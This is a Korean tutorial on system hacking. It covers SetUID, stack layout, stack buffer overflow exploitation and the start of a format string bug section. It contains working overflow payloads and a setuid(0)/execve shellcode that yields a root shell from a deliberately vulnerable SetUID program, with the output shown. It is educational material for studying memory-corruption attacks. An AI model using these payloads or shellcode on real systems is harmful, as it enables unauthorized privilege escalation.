1. 시스템 해킹(System Hacking)

시스템 해킹이란 시스템의 데몬이나 응용프로그램 등의 취약점을 이용해 허용되지 않은 특정 권한을 획득함으로써 일반 유저들이 접근할 수 없는 정보의 접근, 혹은 변조를 하는 행위를 의미한다.

시스템 해킹을 하기 위해서는 해당 시스템에 공격 가능한 취약점이 있어야 하며 이러한 취약점들에는 Buffer Overflow, Race Condition, Format String Bug, Ptrace Bug, Double Free Bug 등이 있다.

하지만 이런 버그들이 있다고 해서 무조건 시스템 해킹을 성공할 수 있는 것은 아니다. 해당 프로그램이 SetUID 또는 SetGID가 설정 되어 있지 않다면 해당 취약점 공격을 통해 쉘을 획득하였다 하더라도 권한의 변화는 없다.

1.1. SetUID, SetGID

SetUID는 이것이 설정되어 있는 프로그램을 실행한 유저 프로세스에게 프로그램이 실행되는 동안 이 프로그램의 UID(User ID)를 부여해 준다. 마찬가지로 SetGID가 설정되어 있을 경우에는 이 프로그램을 실행하는 동안 이 프로그램의 GID(Group ID)를 부여해 준다.

예를 들어, 아래와 같은 권한(Permission)의 쉘(/bin/sh)을 실행 시키는 프로그램이 있으며,

$ ls -al vuln

-rwsrwxr-x    1 user1  group1     13315  1월 24 16:02 vuln*

현재 유저는,

$ whoami

user2

$ id

uid=505(user2) gid=505(user2) groups=505(user2)

이렇게 user1이 아닌 user2라고 할때, 위의 프로그램을 실행 함으로써 얻는 쉘에서는,

$ ./vuln

sh-2.05$ whoami

user1

sh-2.05$ id

uid=504(user1) gid=505(user2) groups=505(user2)

와 같이 uid가 바뀌었음을 알 수 있다.

만약 위의 프로그램의 uid가 user1이 아니라 root였다면 일반 사용자도 root로 SetUID가 걸린 이 프로그램을 실행함으로써 root권한을 획득 할 수가 있는 것이다.

그렇다면 SetUID는 위험한 것이 아닌가? 왜 이런게 필요한가? 그것은 특정 라이브러리나 슈퍼유저(root)의 권한이 필요한 프로그램을 일반 유저가 사용할 필요가 있기 때문이다.

예를 들면 일반유저가 자신의 패스워드를 바꿀 수 있게 해주는 passwd명령의 경우 SetUID가 설정되어 있다. 즉, 패스워드는 root만 바꾸거나 설정할 수 있기 때문에 이 passwd명령으로 일반유저가 자신의 패스워드를 바꾼다 하더라도 루트권한이 있어야 암호를 바꿀수 있다는 말이다. 일반 유저들은 암호파일에 접근해서 해당 내용을 수정하거나 할 수 없기 때문이다.

2. Buffer Overflow Attack

Buffer Overflow 란 말 그대로 ‘버퍼(buffer)가 넘친다(overflow).’ 는 얘기다. 그렇다면 버퍼가 넘치는 게 어떤 문제가 되는가?

버퍼가 넘치게 되면 데이터가 할당된 영역을 벗어나 다른 영역을 침범할 수 있게 된다. 특히 스택(stack) 기반에서 버퍼 오버플로우가 일어났을 때에는 데이터가 할당된 영역을 벗어나 리턴 어드레스(Return Address)나 프레임 포인터(Frame Pointer)를 침범하게 되어 프로그램의 흐름에 막대한 영향을 미칠 수 있다.

버퍼 오버플로우의 종류에는 여러 가지가 있지만 크게 힙과 스택 기반으로 나뉜다. 우리가 흔히 이야기 하는 대부분의 버퍼 오버플로우는 바로 스택기반에서 일어난다.

※참고 : 여기에 나오는 모든 예제들은 gcc 3.1에서 sfp와 지역 변수간의 dummy값을 없애기 위해 컴파일 옵션에 “-mpreferred-stack-boundary=2” 옵션을 주었다.

2.1. 스택(stack)의 이해

하나의 프로그램이 실행 될 때 메모리에 상주하는 프로세스의 메모리 구조는 다음과 같다.

[표 ] 프로세스의 메모리 구조

프로그램 정보	공유 라이브러리 등
.text	기계어 코드
.data	초기화된 데이터
.got	Global Offset Table
.bss	초기화되지 않은 데이터
heap	동적 메모리 영역
stack	함수관련 정보 : 지역변수, 매개 변수, 리턴주소
프로그램 정보	환경변수, 기타

(낮은 주소)

(높은 주소)

위 내용들을 c코드로 살펴보면,

#include <stdio.h>

/* 전역 변수 선언 */

int data1 = 8;

char data2[] = "this is data segment.";

long bss1;

main()

{

/* 지역 변수 선언 */

char stack1[] = "this is stack segment.";

int stack2;

char *heap1;

heap1 = (char*)malloc(100); /* 힙(heap)에서 저장 공간 할당 */

free(heap); /* 힙영역 저장 공간 반환 */

}

위의 코드에서 .data segment 에 들어가는 변수들은 data1, data2, 그리고 .bss 에 들어가는 변수들은 bss1, heap에 들어가는 변수는 heap1, stack 에 들어가는 변수 들은 stack1, stack2가 되겠다. 그리고 이 c코드가 기계어로 컴파일 되어 나오는 실질적인 실행 코드는 .text에 들어가게 된다.

위의 내용들을 바탕으로 우리가 여기서 다루어야할 스택 기반의 버퍼 오버플로우는 바로 지역변수들과 밀접한 관계가 있음을 알 수 있다.

그렇다면 스택의 특징은? 바로 LIFO(Last In First Out) 형식의 저장 공간이라는 것이다.

나중에 들어간 것이 먼저 나온다. 간단히 한쪽이 막힌 파이프를 연상해보면 이해가 쉽겠다.

실제로 프로그램이 실행되고 함수들이 호출될 때 스택에는 아래와 같이 변수 및 기타 정보들이 쌓인다.

메모리상의

낮은 주소

메모리상의

높은 주소

variable2

variable1

SFP

RET

…

PUSH

POP

스택이 자라는

(쌓여가는) 방향

위 그림에서 RET는 Return Address를 나타내는 것이고, SFP는 Stack Frame Pointer를 의미한다. 이 두 값은 함수가 호출될 때 기본적으로 스택에 저장되는 값들이다. 여기서는 SFP에 관해서는 다루지 않을 것이다.

간단한 c코드로 스택에 지역변수들이 쌓일 때 정말로 높은 주소부터 쌓이는지 살펴보자.

main()

{

int a = 10;	/* 지역 변수 a 선언 */

int b = 20;	/* 지역 변수 b 선언 */

/* 변수 a와 b의 실제 메모리 주소를 출력 */

printf("&a = %p, &b = %p", &a, &b);

}

리눅스 환경에서 gcc로 컴파일 하고 실행해 보면,

&a = 0xbffffa14, &b = 0xbffffa10

와 같이 먼저 선언된 지역변수 'a'가 스택상에서 더 높은 주소에 위치하고 있음을 알 수 있다. 위 상태를 그림으로 살펴보면,

메모리상의

낮은 주소

0xbffffa10

0xbffffa14

메모리상의

높은 주소

b = 10

a = 10

SFP

RET

…

와 같이 됨을 예측해 볼 수 있다.

2.2. 리턴 어드레스(Return Address)

그렇다면 리턴 어드레스란 무엇인가?

프로그램이 실행되고 main() 이 호출 될 때, 프로그램은 main() 종료 후 실행될 다음 코드의 주소를 스택에 저장한다. 그리고 main() 이 종료 후, 프로그램은 스택에서 main() 이 호출될 때 저장해둔 return address를 꺼내와 해당 주소에 있는 코드를 실행하게 된다. 이것은 다른 함수에서도 마찬가지로 적용이 된다.

main()에서 sub()를 호출할 경우를 예로 들어보면,

sub()	/* sub() 함수 부분 */

{

int b = 20;

int c = 30;

int d;

printf("Here is sub()\n");	/* "Here is sub()"를 화면에 출력한다. */

}

main()	/* main() 함수 부분 */

{

int a = 10;	/* 변수 a에 10을 할당 */

sub();	/* sub() 함수를 호출한다. */

printf("Variable of main() is a -> %d\n", a);	/* 화면에 a를 출력 */

}

위와 같은 프로그램이 있다고 가정할 때, 아래 그림은 sub() 함수가 호출되었을 때, 즉 sub(); 가 수행되었을 때의 스택을 보여준다.

main() 실행코드

1 int a = 10;

2 sub();

3 printf("~~", a);

sub()

Frame

main()

Frame

d = ??

c = 30

b = 20

SFP

RET

a = 10

SFP

RET

현재 main()에서 실행되고 있는 코드는 2번 행,

main()에서 다음 실행 코드는 3번 행

위의 그림은 이해를 돕기 위해 알아보기 쉬운 c코드를 예로 들었지만 실제로는 어셈코드, 즉 기계어이며, 위 그림에서는 Return Address가 행 번호를 가리키고 있지만 실제로는 실행코드가 있는 메모리 상의 주소를 가리키게 된다.

위의 그림에서 알 수 있듯이, sub()의 Return Address는 main()에서 sub() 함수를 호출한 뒤 다음 실행할 코드의 주소를 가지고 있음을 알 수 있다. 이렇게 하는 이유는 sub() 함수의 수행이 끝나고 나서 main()의 다음 코드를 수행해야 하는데 이전 함수의 eip(다음 실행 코드의 주소를 가지고 있는 레지스터)를 따로 저장하거나 하는 레지스터가 없어서 직접 스택에 저장하는 것이다.

프로그램은 sub()가 종료될때 스택에 저장되어 있는 Return Address를 꺼내와서 main()의 다음 수행해야 할 코드를 계속하여 수행하는 것이다.

그렇다면 main()의 Return Address는 어떤 값을 가지고 있을까? c에서 main()은 __libc_start_main이라는 곳에서 호출이 된다. 따라서 main()의 Return Address는 __libc_start_main에서 main()을 호출한 시점의 다음 실행코드의 주소를 가지고 있게 된다.

리턴 어드레스는 이와 같이 함수 종료 후 다음 실행할 코드의 주소를 가지고 있기 때문에 이 정보가 사용자 마음대로 조작될 수 있다면 프로그램의 흐름을 마음대로 조작할 수 있을 것이다.

2.3. 스택 기반의 버퍼 오버플로우(Stack Overflow)

지금까지 스택과 리턴 어드레스에 대한 이해를 하였다. 그렇다면 실제 스택(stack)에서 버퍼가 넘치는 상황을 살펴보자.

-- bof1.c --

main()

{

/* 지역 변수 선언 */

char test[4] = "Wow";

char buff[16];

printf("input your name: ");

scanf("%s", buff);	/* 이름을 buff에 입력 받는다 */

printf("%s~! your name is %s!!\n", test, buff); /* 결과를 출력 한다. */

}

위의 소스를 보면 우선 test에는 “Wow”라는 문자열이 초기화 되어 있다. 그리고 boundary check(문자열 길이 체크)를 하지 않고 문자열을 입력 받을 수 있는 scanf()를 이용해 사용자로부터 이름을 입력 받는다. 마지막으로 결과를 출력하는데, 이곳에서 test와 buff의 내용을 확인할 수 있다.

리눅스 환경에서 컴파일 후 실행해 보자.

먼저 정상적으로 입력 하였을 경우이다.

$ ./bof1

input your name: 홍길동

Wow~! your name is 홍길동!!

원하던 결과가 출력된 것 같다. 다음은 버퍼를 오버플로우 시켜 보겠다.

$ ./bof1

input your name: 1234567890123456

①

②

③

~! your name is 1234567890123456!!

$ ./bof1

input your name: 12345678901234567

7~! your name is 12345678901234567!!

$ ./bof1

input your name: 123456789012345678

78~! your name is 123456789012345678!!

우선 위 결과를 분석하기 전에 이 프로그램에서 스택의 상태 main frame만 가로로 눕혀서 보자면, (‘00’은 널문자)

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	?	?	?	?	?	?	?	?	?	?	?	?	?	?	?	?	W	o	w	00	?	?	?	?	?	?	?	?

위와 같이 됨을 추측해 볼 수 있다. 이제 결과 분석을 해보면,

①에서 문자열을 총 16개를 입력했다. 그런데 “Wow”가 찍히지 않았다.

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	00	o	w	00	?	?	?	?	?	?	?	?

스트링은 마지막 바이트가 널문자로 끝나기 때문에 16개를 입력했지만 실제로는 널문자까지 포함하여 총 17개의 문자가 저장되므로 버퍼가 오버플로우 되어 바로 옆의 test의 첫 번째 바이트를 널문자로 덮어 쓰게 되었음을 알 수 있다. printf()문에서는 스트링을 출력할 때 널문자가 발견되면 스트링 출력이 종료되므로 test의 첫 번째 문자가 널문자로 바뀌게 되자 “Wow”가 출력되어야 할 자리에 아무것도 출력되지 않게 된 것이다.

②와 ③도 마찬가지의 경우인데, 스택의 내용은 다음 그림과 같이 추정해 볼 수 있다.

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	7	00	w	00	?	?	?	?	?	?	?	?

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	7	8	00	00	?	?	?	?	?	?	?	?

그럼 스트링을 좀더 길게 넣어 ret영역까지 침범해 보도록 하자.

$ ./bof1

input your name: 123456789012345678901234

78901234~! your name is 123456789012345678901234!!

Segmentation fault

세그먼테이션 오류가 발생하는 것을 관찰 할 수 있다. 여기서 세그먼테이션 오류란 접근할 수 없는 메모리 영역을 접근하려고 할 경우 발생하며, 보통 프로그램의 흐름이나 포인터 등이 잘못 되었을 경우 흔히 발생하는 오류이다.

여기서는 리턴 어드레스가 덮어 써짐으로서 프로그램의 흐름이 잘못되어 접근할 수 없는 메모리 영역을 접근하려고 하였음을 추측해 볼 수 있다.

위 상황에서 스택의 내용은 아래와 같다.

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	1	2	3	4	5	6	7	8	9	0	1	2	3	4	5	6	7	8	9	0	1	2	3	4	00	?	?	?

리턴 어드레스의 1바이트라도 덮어 쓰게 되더라도 리턴 어드레스가 잘못된 값을 가지고 있으면 세그먼테이션 오류가 발생하게 된다.

그렇다면 리턴 어드레스의 올바른 값이라면 어떤 것을 말할까? 여기서는 간략히 ‘정상적인 실행코드가 있는 주소’라고 말할 수 있다. 그렇다면 위의 프로그램을 조금 수정한 뒤, 리턴 어드레스를 원래 값이 아닌 또 다른 정상적인 값으로 덮어 써 보도록 하겠다.

2.3.1. Excute sub function

아래는 buf1.c에 몇 줄을 추가시킨 소스이다.

-- bof2.c --

/* bof1.c 에 추가된 부분 */

sub()

{

printf("\nSuccess~!!\nThis is sub() function~!!!\n");

exit(0);	/* 세그먼테이션 오류를 방지하기 위해 exit()를 호출하였다 */

}

/* 여기까지.. */

main()

{

char test[4] = "Wow";

char buff[16];

printf("sub() address : %p\n\n", sub); /* sub()의 주소를 출력해 준다 */

printf("input your name: ");

scanf("%s", buff);

printf("%s~! your name is %s!!\n", test, buff);

}

위 소스에 추가된 내용은 우선 sub() function을 추가해 주었다. 하지만 이 함수를 main()에서 호출하지는 않았다. 다만 main()에서 이 함수의 주소를 출력하도록 명령 한 줄을 추가해 주었다. 여기서 출력해 주는 sub()의 주소는 실제 sub()의 실행코드가 있는 주소이다. 위 소스를 컴파일 하고 실행하여 보면,

$ ./bof2

sub() address : 0x8048410

input your name: hahaha

Wow~! your name is hahaha!!

$

위와 같이 sub()의 주소가 찍히는 것을 확인 하였다. 하지만 main()에서 sub()를 호출하지 않았기 때문에 “Success~~~"는 출력되지 않았다. 그렇다면 이 상황에서 sub()가 실행되도록 하여 ”Success~~~"란 문장을 출력하도록 하고 싶다면 어떻게 해야 할까? 위 프로그램은 좀 전에도 보았듯이 Buffer Overflow취약점이 있기 때문에 main()의 Return Address를 변경 시킬 수가 있다. 앞서 배운 것처럼 Return Address가 변경되면 프로그램의 흐름을 변경 할 수가 있다. 아래는 Overflow하지 않은 정상적인 경우이다.

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	h	a	h	a	h	a	00	?	?	?	?	?	?	?	?	?	W	o	w	00	?	?	?	?	?	?	?	?

__libc_start_main내의 main()호출 후 실행코드

그렇다면 Buffer를 Overflow하여 Return Address가 sub()주소로 바뀌게 되면 아래와 같이 될 것이다.

낮은 주소                                                            높은주소

변수	buff																test				sfp				ret
크기	16byte																4byte				4byte				4byte
내용	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	A	10	84	04	08

sub()의 실행코드

main()의 Return Address를 sub()의 주소로 변경 시킨다면 main()이 종료되고 Return Address 에 들어 있는 주소의 실행코드를 수행하는데, 여기서는 sub()의 주소로 바뀌어 있으므로 sub()가 수행될 것이다.

위에서 sub()의 주소를 main()의 리턴 어드레스에 넣을 때 08 04 84 10처럼 순서대로 넣지 않고 1byte 단위로 묶어서 거꾸로 넣은 이유는 보통 데이터가 스택에 저장될 때 4byte단위로 저장되는데 이때 데이터가 들어갈 때에 1byte 단위로 거꾸로 들어가기 때문이다. 이것은 실제로 stack을 dump해 보면 알 수 있다.

그렇다면 위의 그림대로 Overflow를 시도하여 sub()를 수행해 보도록 하겠다.

$ (perl -e 'print "\x41"x24,"\x10\x84\x04\x08"')|./bof2

sub() address : 0x8048410

input your name: AAAAAAAAꠕ

~! your name is AAAAAAAAAAAAAAAAAAAAAAAAꠕ

!!

Success~!!

This is sub() function~!!!

$

위처럼 간단히 성공하였음을 알 수 있다. ‘\x41'은 문자 ’A'를 16진수로 나타낸 것이다. 문자를 16진수로 넣어줄 때는 16진수 앞에 “\x"를 붙여주면 된다.

일반적인 키보드 문자열 입력으로는 16진수 “08”같은 특수문자를 넣을 수 없다. 따라서 위와 같이 pipe를 이용하여 특수 문자를 stdin으로 전송하여 주었다.

perl대신 printf문을 사용하여 아래와 같이 Overflow를 시도하여도 성공할 수 있다.

$ (printf "AAAAAAAAAAAAAAAAAAAAAAAA\x10\x84\x04\x08")|./bof2

sub() address : 0x8048410

input your name: AAAAAAAAꠕ

~! your name is AAAAAAAAAAAAAAAAAAAAAAAAꠕ

!!

Success~!!

This is sub() function~!!!

$

2.3.2. Excute Shell Command : "/bin/sh" at SetUID

앞에서 우리는 Buffer를 Overflow하여 main()의 리턴 어드레스를 변조함으로써 원하는 다른 함수를 수행할 수 있었다. 이와 같은 원리로 우리는 “/bin/sh"을 실행 시킬 수 있다.

이번에는 SetUID가 걸린 프로그램을 공략하여 실제 다른 권한의 shell을 얻어 보자.

bof2.c를 조금 수정해 보겠다.

-- bof3.c --

sub()

{

printf("\nExcute Shell...\n");

setreuid(505, 505); /* 현재 uid는 504이고, SetUID 소유자는 505이다 */

system("/bin/sh");

exit(0);	/* 세그먼테이션 오류를 방지하기 위해 exit()를 호출하였다 */

}

main()

{

char test[4] = "Wow";

char buff[4];  /* 공격을 좀더 편하게 하기 위해 입력 변수의 크기를 줄였다 */

printf("sub() address : %p\n\n", sub);

printf("input your name: ");

scanf("%s", buff);

printf("%s~! your name is %s!!\n", test, buff);

}

위에서 setreuid()를 호출한 이유는 Linux kernel 버젼 2.4.x 이상에서는 이전의 취약프로그램들을 보완 하기 위한 방법으로 setuid 프로그램이 실행됨에 있어서 해당 프로그램이 변조 또는 인터럽트 되어 다른 프로그램을 실행하려 할때 getuid를 실행하여 실행하는 user의 shell변수 안의 uid를 가져와서 변조된 프로그램을 실행토록 하고 있기 때문이다.

컴파일 후, 실행해 보자. 소유자와 권한도 바꾸어 SetUID를 걸어두자.

$ ls -al ./bof3

-rwsr-xr-x    1 user2    user1     13866  2월 10 19:57 bof3*

$ ./bof3

sub() address : 0x8048480

input your name: haha

~! your name is haha!!

$

sub()의 주소가 바뀌었다. 버퍼의 크기를 4바이트로 줄인 결과 5바이트부터 오버플로우가 발생함을 알 수 있다. 그렇다면 스택은 아래와 같을 것이다.

낮은 주소                                                 높은주소

변수	buff				test				sfp				ret
크기	4byte				4byte				4byte				4byte
내용	h	a	h	a	00	o	w	00	?	?	?	?	?	?	?	?

이번에는 ‘A'로 12byte를 채우고 그 뒤에 sub()의 주소를 넣어주게 되면 main()의 Return Address가 sub()의 실행코드 주소로 바뀌게 될 것이다.

이제 Buffer Overflow로 인해 main()의 리턴 어드레스를 sub()의 주소로 변조하는 문자열을 입력하여 sub()를 수행시키게 되면 “/bin/sh”을 실행하게 되어 shell이 뜨게 될 것이다.

$ (perl -e 'print "\x41"x12,"\x80\x84\x04\x08"')|./bof3

sub() address : 0x8048480

input your name: AAAAAAAAP

~! your name is AAAAAAAAAAAAP

!!

Excute Shell...

$ id

uid=504(user1) gid=504(user1) groups=504(user1)

출력되는 문자열로 인해 sub()가 호출되었음을 알 수 있다. 그러나 shell은 그대로다. 이유는 pipe를 사용하였기 때문이다. 아래와 같이 다시 시도해 보자.

$ (perl -e 'print "\x41"x12,"\x80\x84\x04\x08"';printf "\nps")|./bof3

sub() address : 0x8048480

input your name: AAAAAAAAP

~! your name is AAAAAAAAAAAAP

!!

Excute Shell...

PID TTY          TIME CMD

15004 pts/0    00:00:00 bof3

15006 pts/0    00:00:00 sh

15007 pts/0    00:00:00 ps

$

위의 결과를 아래와 비교해 보자. 아래는 평상시 shell에서 ps명령을 실행시켰을 때다.

$ ps

PID TTY          TIME CMD

5877 pts/0    00:00:01 bash

15009 pts/0    00:00:00 ps

$

위의 결과들로 볼 때 분명, ./bof3에서 sub()를 실행시키도록 하였을 때, /bin/sh은 실행되었다. 하지만 왜 shell은 뜨지 않았을까? 이유는 간단하다. pipe로 인해 /bin/sh은 단독적으로 실행되지 못하고, 단지 전달받은 명령만 실행하여 결과를 화면에 출력해줄 뿐이기 때문이다. 아래 예를 보자.

$ printf "ps"|/bin/sh

PID TTY          TIME CMD

5877 pts/0    00:00:01 bash

15019 pts/0    00:00:00 sh

15020 pts/0    00:00:00 ps

$

여기서도 동일하게 shell이 직접 뜨지는 않고 pipe왼쪽에서 넘겨준 문자열을 받아 /bin/sh에서 수행하였음을 알 수 있다.

아래 두 행을 보면 앞에서 ./bof3로 “ps"라는 문자열을 넘겨 주었을 때와 동일하다는 것을 알 수 있다. 그렇다면 어떻게 해야 shell을 지속적으로 유지 시켜 줄 수가 있을까? 보통 이럴 때에는 cat이라는 명령을 사용 한다. cat은 echo기능이 있고 지속적인 입력이 가능하다.

아래 실행 예를 보자.

$ cat|/bin/sh

id

uid=504(user1) gid=504(user1) groups=504(user1)

ps

PID TTY          TIME CMD

5877 pts/0    00:00:01 bash

15035 pts/0    00:00:00 cat

15036 pts/0    00:00:00 sh

15038 pts/0    00:00:00 ps

exit

$

위에서 id, ps, exit는 사용자가 입력한 문자열이다. 이 문자열들은 cat의 echo기능에 의해 pipe오른쪽의 /bin/sh로 전달이 되고 /bin/sh은 실행 결과를 화면에 출력해 준다.

이제 pipe를 이용하여 ./bof3를 실행할 때 pipe왼쪽에 “;cat”만 추가 시켜주면 되겠다.

$ (perl -e 'print "\x41"x12,"\x80\x84\x04\x08"';cat)|./bof3

sub() address : 0x8048480

input your name: AAAAAAAAP

~! your name is AAAAAAAAAAAAP

!!

Excute Shell...

id

uid=505(user2) gid=504(user1) groups=504(user1)

ps

PID TTY          TIME CMD

15040 pts/0    00:00:00 bof3

15043 pts/0    00:00:00 sh

15045 pts/0    00:00:00 ps

pwd

/home/user1

exit

$

uid가 505인 user2의 shell이 성공적으로 실행되었음을 알 수 있다. 위에서 cat대신 echo기능이 있는 tee등의 명령도 사용이 가능하다.

2.4. Stack Overflow Exploit : shellcode 활용

이제는 실제로 스택 기반의 버퍼 오버플로우 취약점이 있는 평범한 SetUID가 설정된 프로그램을 exploit하는 방법을 알아 보도록 하겠다. 여기서는 간단히 앞에서 했던 sub()가 없는 bof1을 SetUID를 설정해 놓고 공격해 보도록 하겠다. 공격을 조금 더 쉽게 하기 위해 소스를 약간만 수정하겠다.

-- vuln.c --

main()

{

char test[4] = "Wow";

char buff[64];	/* shellcode를 충분히 넣을 수 있도록 버퍼의 크기를 늘렸다 */

printf("buff address : %p\n\n", buff);

printf("input your name: ");

fgets(buff, 100, stdin); /* fgets()로 바꾸었다 */

printf("%s~! your name is %s!!\n", test, buff);

}

위 소스에서 scanf()대신에 fgets()를 사용한 이유는 scanf()의 경우 ‘0x0b'같은 리턴 문자가 오면 입력 받는 일을 중단하기 때문이다. 컴파일 후 실행하면 아래와 같다.

$ ./vuln

buff address : 0xbffff9d4

input your name: test

Wow~! your name is test!!

$

파일 퍼미션 상태는 아래와 같다.

$ ls -al ./vuln

-rwsr-xr-x    1 root     user2     13484  2월 11 12:40 vuln*

$

여기서는 shell을 실행시켜주는 sub()같은 함수가 없기 때문에 shell을 실행시켜주는 binary형태의 실행코드인 ‘shellcode’를 Buffer에 직접 넣어주고 main()의 리턴 어드레스를 이 ‘shellcode’가 있는 Buffer의 주소로 변경시켜 주어야 한다. 여기서는 파일 소유자가 root이므로 shell 실행코드 이전에 setuid(0)을 호출해 주어야 한다. 아래는 setuid(0)가 포함된 shellcode의 예이다.

"\x31\xc0\xb0\x17\x31\xdb\xcd\x80" /* setuid(0); */

"\x31\xc0\x50\x68\x2f\x2f\x73\x68" /* execve("/bin/sh",...); */

"\x68\x2f\x62\x69\x6e\x89\xe3\x50"

"\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

위의 shellcode는 길이가 총 32byte이다. 취약점이 있는 프로그램의 버퍼 크기가 64byte이므로 버퍼 안에 충분히 들어갈 수 있는 shellcode가 되겠다. shellcode를 제작하는데 있어서 assembly지식이 필요하므로 여기서는 shellcode제작 기법에 대해서는 언급하지 않겠다.

이제 위의 shellcode를 이용해서 shell을 얻어보자. 우선 어디서부터 main()의 Return Address 인지 찾아보자.

$ (perl -e 'print "x"x68')|./vuln

buff address : 0xbffff9d4

input your name: xxxx~! your name is xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!!

$ (perl -e 'print "x"x71')|./vuln

buff address : 0xbffff9d4

input your name: xxxxxxx~! your name is xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!!

$ (perl -e 'print "x"x72')|./vuln

buff address : 0xbffff9d4

input your name: xxxxxxxx~! your name is xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!!

Segmentation Fault

$

길이가 72byte인 문자열을 입력했을 때부터 main()의 Return Address가 덮어 써짐을 알 수 있다.

그렇다면 72byte 이후 4byte는 리턴 어드레스이므로 공격문자열은

[shellcode(32byte)] +['A'x40byte] +[Buffer Address:0xbffff9d4(4byte)]

와 같이 되겠다. 공격해 보면,

$ id

uid=505(user2) gid=505(user2) groups=505(user2)

$ (perl -e 'print "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x41"x40,"\xd4\xf9\xff\xbf"';cat)|./vuln

buff address : 0xbffff9d4

input your name: AAAAAAAA騰□?

~! your name is 1육ꠖ1盃1픐h//shh/bin됥PS됣솻

?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA騰□?

!!

id

uid=0(root) gid=505(user2) groups=505(user2)

exit

$

uid가 0(root)인 shell을 획득하였음을 알 수 있다.

2.5. Buffer Overflow 대비책

지금까지 Buffer Overflow취약점과 해당 프로그램의 공격방법을 설명하였다. 이 Buffer Overflow 취약점은 프로그래머의 실수도 있겠지만, 무엇보다도 해당 함수가 buffer의 boundary를 check하지 않으므로서 발생하는 것이므로, 이 문제를 해결하기 위해서는 프로그래머가 직접 버퍼가 넘치지 않도록 check를 해 주거나 입력받는 문자열의 길이에 제한을 두는 함수를 사용하여야 할 것이다.

3. FSB(Format String Bug)

이제 우리는 또 다른 시스템 취약점인 Format String Bug에 대해 알아볼 것이다. 이 취약점은 Buffer Overflow보다 개념 이해가 쉬우며, 보통 프로그래머의 실수로 생기는 취약점이라고 볼 수 있다.

3.1. Format String 개념 이해

Format String Bug에 대해 알기 전에 우선 Format String이 무엇인지에 대해 알아야 할 것이다. Format String은 우리가 흔히 사용하는 printf()에서 볼 수 있다. 아주 간단한 예제를 보자.

-- fsb1.c --

main()

{

int a = 10;	/* 정수형 변수 선언 및 초기화 */

char b = 'A';	/* 문자형 변수 선언 및 초기화 */

char str[] = "String~";	/* 문자형 변수 배열선언으로 문자열 초기화 */

printf("a = %d\nb = %c\nstr = %s\n", a, b, str); /* 값 출력 */

}

위 소스에서 printf()문을 잘 살펴보라. “”로 묶여 있는 첫 번째 인자가 있다. “%d", "%c", "%s" 등의 출력 형식을 나타내어 주는 특수 문자열들이 포함된 이 문자열을 Format String이라고 한다.

3.2. 취약점 이해

그렇다면 이러한 형식 문자열(Format String)에 어떤 문제점이 있는가? 이 형식 문자열에 직접적인 버그나 취약점은 없다. 하지만 프로그래머의 실수로 치명적인 취약점이 발생 할 수 있다. 사용자에게 문자열을 입력 받아 출력하는 예제 소스를 보자.

-- fsb2.c --

main()

{

char buff[128];

fgets(buff, 112, stdin);

printf("%s", buff);

}

컴파일 후 실행해 보면 알겠지만 위 소스는 printf()의 사용법을 아주 잘 지켜서 코딩을 했기 때문에 이 프로그램에서는 어떠한 취약점도 찾아 낼 수 없다. buffer가 넘칠 일도 없다. 아주 안전한 프로그램임을 알 수 있다. 하지만 대부분의 프로그래머들은 printf()의 사용형식을 완벽히 지키지 않는 경우가 많다. 조금이라도 더 빠르고 간편한 코딩을 하기 위해서이다. 다음 소스를 보자.

-- fsb3.c --

main()

{

char buff[128];

printf("input string : ");

fgets(buff, 112, stdin);

printf(buff);	/* 이 부분에서 프로그래머는 코딩을 간단히 하려고 하였다 */

}

컴파일 후 실행해 보자.

$ ./fsb3

input string : AAAA

AAAA

$

위 결과를 보면 전혀 이상한 것은 발견되지 않는다. 하지만 조금 특수한 문자열을 입력해 보면,

$ ./fsb3

input string : %p

0x70

$ ./fsb3

input string : %d

112

$ ./fsb3

input string : %c

p

$

위와 같이 “%p”, “%d"등을 입력했을 경우 “%p”, “%d"등이 출력되는 것이 아니라 전혀 예상하지 못했던 문자열이 출력되는 것을 확인할 수 있다. 이유는 printf(buff)에 의해 사용자가 입력한 문자열이 printf문의 첫 번째 인자인 형식 문자열로 인식이 되어 printf("%p"), printf("%d")와 같이 printf()가 실행되어 버렸기 때문이다.

3.2.1. 함수가 스택에서 인자(argument)를 가져오는 법

여기서 우리는 간단하지만 함수가 스택에서 어떻게 인자를 가져오는지 이해하여야 한다.

아래는 함수가 호출되고 나서 스택의 내용이다.

함수는 인자를 가져올 필요가 있을 때, ebp로부터 상대적 거리로 인자 값을 가져오는데 이는 바로 이전 프레임의 최상위 값부터 첫 번째 인자, 두 번째 인자... 하는 식으로 4byte 단위로 가져오게 되는 것이다.

